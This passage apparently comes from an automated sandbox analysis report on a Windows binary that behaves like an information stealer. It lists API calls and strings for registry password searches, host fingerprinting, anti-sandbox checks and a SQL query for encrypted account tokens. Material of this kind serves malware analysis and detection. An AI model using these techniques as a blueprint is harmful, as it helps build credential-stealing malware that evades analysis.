Part of subcall function 00787330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00787CF0,80000001,00796414,?,?,?,?,?,00787CF0,?), ref: 007874B2
Part of subcall function 00787330: HeapFree.KERNEL32(00000000,?,?,?,?,00787CF0,80000001,00796414,?,?,?,?,?,00787CF0,?), ref: 007874B9

lstrcatA.KERNEL32(279AF020,007A192C,00787CF0,80000001,00796414,?,?,?,?,?,00787CF0,?,?,00796414), ref: 00787666
lstrcatA.KERNEL32(279AF020,00000000,00000000), ref: 007876A8
lstrcatA.KERNEL32(279AF020, : ), ref: 007876BA
lstrcatA.KERNEL32(279AF020,00000000,00000000,00000000), ref: 007876EF
lstrcatA.KERNEL32(279AF020,007A1934), ref: 00787700
lstrcatA.KERNEL32(279AF020,00000000,00000000,00000000), ref: 00787733
lstrcatA.KERNEL32(279AF020,007A1938), ref: 0078774D
task.LIBCPMTD ref: 0078775B

Strings

: , xrefs: 007876AE

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 38d9c04a2e5ec4798989fad14bbe6eb98f94f4069328f73e229de1e64db08e20
Instruction ID: 264cc91abecad9ab5ed3e01dd92be55d010e0ce8c912de09acf9e2896497a083
Opcode Fuzzy Hash: 38d9c04a2e5ec4798989fad14bbe6eb98f94f4069328f73e229de1e64db08e20
Instruction Fuzzy Hash: 70312FB5D44208DBDB08EBE0ED99DEF7779BB44302F604118F116B72A1DE38A946CB91

Function 00787330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00787374
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00787CF0), ref: 0078739A
RegEnumValueA.ADVAPI32(00787CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00787411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0078746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00787CF0,80000001,00796414,?,?,?,?,?,00787CF0,?), ref: 007874B2
HeapFree.KERNEL32(00000000,?,?,?,?,00787CF0,80000001,00796414,?,?,?,?,?,00787CF0,?), ref: 007874B9

Part of subcall function 00789290: vsprintf_s.MSVCRT ref: 007892AB

task.LIBCPMTD ref: 007875B5

Strings

Password, xrefs: 00787461

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 856932eadda10257da76e6670966c43672e766e503299d7142036d655d9da0d5
Instruction ID: ae4292334afcf5b03ba8d6b2644cedb2bb8dea0fd655c9f6a06323804d087dd9
Opcode Fuzzy Hash: 856932eadda10257da76e6670966c43672e766e503299d7142036d655d9da0d5
Instruction Fuzzy Hash: E2612CB194426CDBDB24EB50CC45BDAB7B8BF44300F5081E9E64AA6141EF74ABC9CF91

Function 00797690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 007976D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0079770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00797793
HeapAlloc.KERNEL32(00000000), ref: 0079779A
wsprintfA.USER32 ref: 007977D0

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Strings

:, xrefs: 007976EC
C, xrefs: 007976DC
\, xrefs: 007976F0

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 1dd30af1e7a6e2c6b019d0e2baf2e34f11a84555c8d040cf4f4511b1289c9d7b
Instruction ID: d612636e950a8f0883466fcd05077c2062311cd1e08735537042be056d6576eb
Opcode Fuzzy Hash: 1dd30af1e7a6e2c6b019d0e2baf2e34f11a84555c8d040cf4f4511b1289c9d7b
Instruction Fuzzy Hash: DB418FB1D04348EBDF10DB94EC85BDEBBB8AF08704F104199F609AB280D7796A44CBA5

Function 00796C90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED9198), ref: 00799BF1
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED9168), ref: 00799C0A
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED91C8), ref: 00799C22
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED9138), ref: 00799C3A
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED9180), ref: 00799C53
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED70D8), ref: 00799C6B
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED6750), ref: 00799C83
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED68B0), ref: 00799C9C
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED91B0), ref: 00799CB4
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED91E0), ref: 00799CCC
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED91F8), ref: 00799CE5
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED9450), ref: 00799CFD
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED6930), ref: 00799D15
Part of subcall function 00799BB0: GetProcAddress.KERNEL32(75900000,00ED93C0), ref: 00799D2E

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 007811D0: ExitProcess.KERNEL32 ref: 00781211

Part of subcall function 00781160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00796CB7,007A0AF3), ref: 0078116A
Part of subcall function 00781160: ExitProcess.KERNEL32 ref: 0078117E

Part of subcall function 00781110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00796CBC), ref: 0078112B
Part of subcall function 00781110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00796CBC), ref: 00781132
Part of subcall function 00781110: ExitProcess.KERNEL32 ref: 00781143

Part of subcall function 00781220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0078123E
Part of subcall function 00781220: __aulldiv.LIBCMT ref: 00781258
Part of subcall function 00781220: __aulldiv.LIBCMT ref: 00781266
Part of subcall function 00781220: ExitProcess.KERNEL32 ref: 00781294

Part of subcall function 00796A10: GetUserDefaultLangID.KERNEL32(?,?,00796CC6,007A0AF3), ref: 00796A14

GetUserDefaultLCID.KERNEL32 ref: 00796CC6

Part of subcall function 00781190: ExitProcess.KERNEL32 ref: 007811C6

Part of subcall function 007979E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007811B7), ref: 00797A10
Part of subcall function 007979E0: HeapAlloc.KERNEL32(00000000,?,?,?,007811B7), ref: 00797A17
Part of subcall function 007979E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00797A2F

Part of subcall function 00797A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00796CCB), ref: 00797AA0
Part of subcall function 00797A70: HeapAlloc.KERNEL32(00000000,?,?,?,00796CCB), ref: 00797AA7
Part of subcall function 00797A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00797ABF

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00ED7128,?,007A10F4,?,00000000,?,007A10F8,?,00000000,007A0AF3), ref: 00796D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00796D88
CloseHandle.KERNEL32(00000000), ref: 00796D99
Sleep.KERNEL32(00001770), ref: 00796DA4
CloseHandle.KERNEL32(?,00000000,?,00ED7128,?,007A10F4,?,00000000,?,007A10F8,?,00000000,007A0AF3), ref: 00796DBA
ExitProcess.KERNEL32 ref: 00796DC2

Strings

(q, xrefs: 00796CF1

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID: (q
API String ID: 3511611419-2418261754
Opcode ID: 0e1688f7c1a2d82b8d1008c11de1d037949cc681ec9e1ad41f3316a3f9ba3c7e
Instruction ID: efbffa7ecb798a948744fb5a92c4cd91d5d0e73b9d8141f261d60cbcdfb96ef0
Opcode Fuzzy Hash: 0e1688f7c1a2d82b8d1008c11de1d037949cc681ec9e1ad41f3316a3f9ba3c7e
Instruction Fuzzy Hash: 6A311671A45208EBDF04FBF0FC5EAAE7379BF44701F504A18F11266192DF786A0687A6

Function 00798290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EE10E8,00000000,?,007A0E14,00000000,?,00000000), ref: 007982C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00EE10E8,00000000,?,007A0E14,00000000,?,00000000,00000000), ref: 007982C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 007982E8
__aulldiv.LIBCMT ref: 00798302
__aulldiv.LIBCMT ref: 00798310
wsprintfA.USER32 ref: 0079833C

Strings

@, xrefs: 007982DD
%d MB, xrefs: 00798333

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: 10f083b081315c9e2571aba6cac9be16084fabdd463ff128b49ea35fda6b455f
Instruction ID: c80a414825b7244c6100d91303a2feb3a162341ad158543b587590da66455ba6
Opcode Fuzzy Hash: 10f083b081315c9e2571aba6cac9be16084fabdd463ff128b49ea35fda6b455f
Instruction Fuzzy Hash: E12108B1E44308ABDB10DFD4ED4AFAEB7B8FB45B15F104509F615BB280C77859018BA5

Function 00797350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 0079735E

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

OpenProcess.KERNEL32(001FFFFF,00000000,0079758D,007A05C5), ref: 0079739C
memset.MSVCRT ref: 007973EA
??_V@YAXPAX@Z.MSVCRT(?), ref: 0079753E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0079740C

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 4c7a37183a7b98c9bed00821820e6b7b8e87577bcf98ed92417ccc8b26e6e6ee
Instruction ID: be985a18c3172e3edcfcd5ea058e7384467d301f09210e1e161531a9979c90cc
Opcode Fuzzy Hash: 4c7a37183a7b98c9bed00821820e6b7b8e87577bcf98ed92417ccc8b26e6e6ee
Instruction Fuzzy Hash: EC5185B0D14208DBDF58EF54EC85BEEB774AF44301F2085A8E11567181EB786A88CF95

Function 0079856C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007985B6
wsprintfA.USER32 ref: 007985E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0079860B
RegCloseKey.ADVAPI32(00000000), ref: 0079861C
RegCloseKey.ADVAPI32(00000000), ref: 00798629

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

RegQueryValueExA.KERNEL32(00000000,00EE1040,00000000,000F003F,?,00000400), ref: 0079867C
lstrlenA.KERNEL32(?), ref: 00798691
RegQueryValueExA.KERNEL32(00000000,00EE1160,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,007A0B3C), ref: 00798729
RegCloseKey.KERNEL32(00000000), ref: 00798798
RegCloseKey.ADVAPI32(00000000), ref: 007987AA

Strings

%s\%s, xrefs: 007985DD
@, xrefs: 007985D6

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s$@
API String ID: 3896182533-932628188
Opcode ID: 770485667f925f1391fd3ffe5bc87877ebfc72f4ba6a74b28fc327fc2d35d6f5
Instruction ID: 6cb8688ff5722862d12889bc3892206089ad8cdefe9379abc5fd02218e4607df
Opcode Fuzzy Hash: 770485667f925f1391fd3ffe5bc87877ebfc72f4ba6a74b28fc327fc2d35d6f5
Instruction Fuzzy Hash: 73211B71910218ABDB64DB94EC85FEDB3B8FB48701F10C1D8A609A6180DF756A85CFE4

Function 0078BA50 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 0078A560: memcmp.MSVCRT(?,v20,00000003), ref: 0078A57D

lstrlenA.KERNEL32(00000000), ref: 0078BC6F

Part of subcall function 00798FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00798FE2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0078BC9D
lstrlenA.KERNEL32(00000000), ref: 0078BD75
lstrlenA.KERNEL32(00000000), ref: 0078BD89

Strings

AccountTokens, xrefs: 0078BA8A
AccountId, xrefs: 0078BC94
AccountTokens, xrefs: 0078BB19
SELECT service, encrypted_token FROM token_service, xrefs: 0078BBBB

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
